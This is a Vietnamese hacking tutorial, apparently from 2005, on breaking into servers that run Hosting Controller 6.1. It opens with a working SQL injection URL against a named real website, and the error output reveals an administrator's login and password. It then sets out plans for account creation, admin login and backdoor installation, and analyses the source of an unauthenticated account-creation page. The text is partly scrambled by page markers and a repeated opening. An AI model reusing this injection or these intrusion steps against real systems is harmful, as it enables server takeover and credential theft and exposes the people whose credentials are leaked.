Hosting Controller phiên bản 6.1 - Hot Fix 2.1 Trước khi đi vào vấng đề tôi có một vài lời muốn nói với các bạn : "Tài liệu này tôi viết nhằm mục đích nghiên cứu và học hỏi vì vậy tôi kh
Trang 1vnmotors.com.vn/motor/HotStuff/DisplayNews.asp?NewsID=41%20and%201=co nvert(int,(s
elect%20top%201%20LoGinName%2b'/'%2bPassword%20from%20NguoiQuanT ri))
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'manager/kimanh' to a column of data type int
/motor/HotStuff/DisplayNews.asp, line 118
Ò dé User là 'manager và password sẽ là kimanh' Bạn Login đi he hehehe
!
langtuhaohoa-HCE
Hosting Controler hacking !
Author : Kehieuhoc
Website : http://www.HCEGroup.net
Mức Độ : Cực kì nguy hiểm
date : 12/04/2005
Điều có thể sảy ra từ bug này : Chiếm cả Serv
Chào các bạn !
Hôm nay chúng ta sẽ cùng nghiên cứu cách xâm nhập vào một Server sử dụng
Trang 2Hosting Controller phiên bản 6.1 - Hot Fix 2.1
Trước khi đi vào vấng đề tôi có một vài lời muốn nói với các bạn :
"Tài liệu này tôi viết nhằm mục đích nghiên cứu và học hỏi vì vậy tôi không chịu bất cứ trách nhiệm nào về việc làm của bạn khi áp dụng những gì tôi viết dưới đây" Mục lục : bài viết này gồm 3 phần :
- Phần I : " Tấn công từ bên ngoài - Tạo Account trên HC
- Phần II : " Login với quyền Host Admin "
- Phần III : " Đột nhập vào Server - Cài Backdoor
Phần I : " Tấn công từ bên ngoài - Tạo Account trên HC " -
I) Sơ lượt về HC
- Như các bạn đã biết Hosting Controller (HC) là sản phẩm nổi tiếng của
HostingController.com được sử dụng rộng rãi trên thế giới Nó giúp cho ta thuận lợi và dễ dàng quản lý Host
II) Tìm Bug và phân tích Bug
1) Cách tìm bug :
- Vì Hosting Controller cho phép chúng download về dùng thử vì vậy rất thuận lợi cho tôi trong quá trình tìm bug -> tôi đã download về sau đó cài đặt trên local và xem source của nó !
- Nhưng source của nó thì nhiều quá -> khó mà xem hết ! -> vì vậy tôi chỉ xem những file nào mà không có kiễm tra người dùng khi truy xuất tới nó
Ví dụ: if session("login") <> "true" then response.Redirect("login.asp")
Trang 3-> ở HC tôi sẽ tìm những file nào không có đoạn như dzầy : "<! #include
FILE=" /common/inc_sessioncheck.asp" >"
- Tìm xong tôi liệt kê danh sách các file đó và bắt đầu đọc source của từng file để tìm bug
- Trong lúc đang đọc source nhớ lại cách đây vài tháng HC có một bug cho phép chúng ta tao Account có quyền user , hình như bug ở file này thì phải : "
addsubsite.asp " -> ở Hot Fix 2.1 thì HC đã được fix rùi -> nhưng chưa chắc gì thằng này đã fix triệt để ! -> tấn công vào nó thử coi !
> tôi liền lục lại danh sách những file mình đã liêt kê lúc nãy Nhưng lần này tôi lại lọc chọn ra một lần nữa -> chỉ xem những file có liên quan đến chức năng tạo Account cho HC !
- Lọc chọn xong tôi lên lại danh sách -> lần này số lượng không nhiều nữa -> nên tôi rất dễ đọc source !
- Nhìn vào những cái file mình chuẩn bị đọc , tôi chợt thấy cái file này "
addsubsite_online.asp " và chú ý đến nó -> nhưng chắc có lẽ bạn sẽ thắc mắc tại sao lại chú ý đến nó ! -> đơn giản vì nó có cái tên liên quan đến file
"addsubsite.asp" (Hi hi , tính tò mò ) -> vì vậy tôi liền mở nó ra xem !
- Sau một vài phút xem source , kết quả đã không làm tôi thất vọng !
2) Phân tích bug :
- Chúng ta hãy cùng xem source của file : "addsubsite_online.asp"
QUOTE
<%@ Language=VBScript %>
<%
set AdminObj = server.CreateObject("AdvAdmin.AccountAdmin")
Response.Expires = -1
Response.Buffer= true
Trang 4'htype is the hosting package type chosen by the customer
htype = T(Request.Form("htype"))
choice = Request.QueryString("choice")
'obtain the database handle
Dim Obj
Session("domainDSN") = Request("domainDSN")
RegConnString = AdminObj.GetStrAdvReg("General","ConnString") Application("Connection1_ConnectionString") = RegConnString
Set Obj = Server.CreateObject("ADODB.Connection")
Obj.open RegConnString
if htype = 1 then
Session("AdminName") = "BASIC_RESELLER"
else
Session("AdminName") = "ADVANCED_RESELLER"
end if
AdminName = Session("AdminName")
AdminLevel = "reseller"
Session("AdminLevel") = "reseller"
NAdminLevel = "webadmin"
%>
<! #include FILE=" /common/inc_newuser.asp" >
<! #include FILE=" /common/inc_mailmax.asp" >
<! #include FILE=" /common/inc_siteadd.asp" >
<! #include FILE=" /common/inc_Quota.asp" >
<! #include FILE=" /common/inc_addsitemail.asp" >
<! #include FILE=" /common/inc_dns.asp" >
<! #include FILE=" /common/inc_binddns.asp" >
<! #include FILE=" /common/inc_diskquota.asp" >
<! #include FILE=" /common/ipchoice.asp" >
<%
Trang 5& #39;==============================================
==============================
======
'Global Variables
-> các bạn thấy đó chẳng có gì cản trở ta khi người dùng truy xuất tới nó
QUOTE
On error resume next
Dim Domain
Dim AdminObj
Dim Result
Dim UserName
Dim Password
Dim NewDomain
Dim Email
Dim PrmDomain,SecDomain
Dim BaseStr
Dim ThirdLevelDomain,ThirdLevel
Dim NewIPAddress
Dim RetPath
dim EmailAccess
Dim EmailServer
Dim QuotaLimit
Dim AdminName,dwResult
Dim IPLessCheckBox
IPLessCheckBox = "YES"
Domain = AdminObj.GetMachineName
'it is a second level domain
if Request.QueryString("choice") = 1 then
NewDomain = T(Request.Form("DomainName"))
PrmDomain = NewDomain
Trang 6SecDomain = "NULL"
ThirdLevelDomain = 0
ThirdLevel = "FALSE"
end if
'collect all form variables
UserName = T(Request.Form("loginname"))
Password = T(Request.Form("password"))
first_name = T(Request.Form("first_name"))
last_name = T(Request.Form("last_name"))
EmailAccess = T(Request.Form("mailaccess")) EmailServer = T(Request.Form("MailServerType")) QuotaLimit = T(Request.Form("Quota"))
birthmonth = T(Request.Form("month"))
birthyear = T(Request.Form("year"))
birthday = T(Request.Form("day"))
existingemail = T(Request.Form("email"))
gender = T(Request.Form("gender"))
country = T(Request.Form("country"))
state = T(Request.Form("state"))
city = T(Request.Form("city"))
address = T(Request.Form("address"))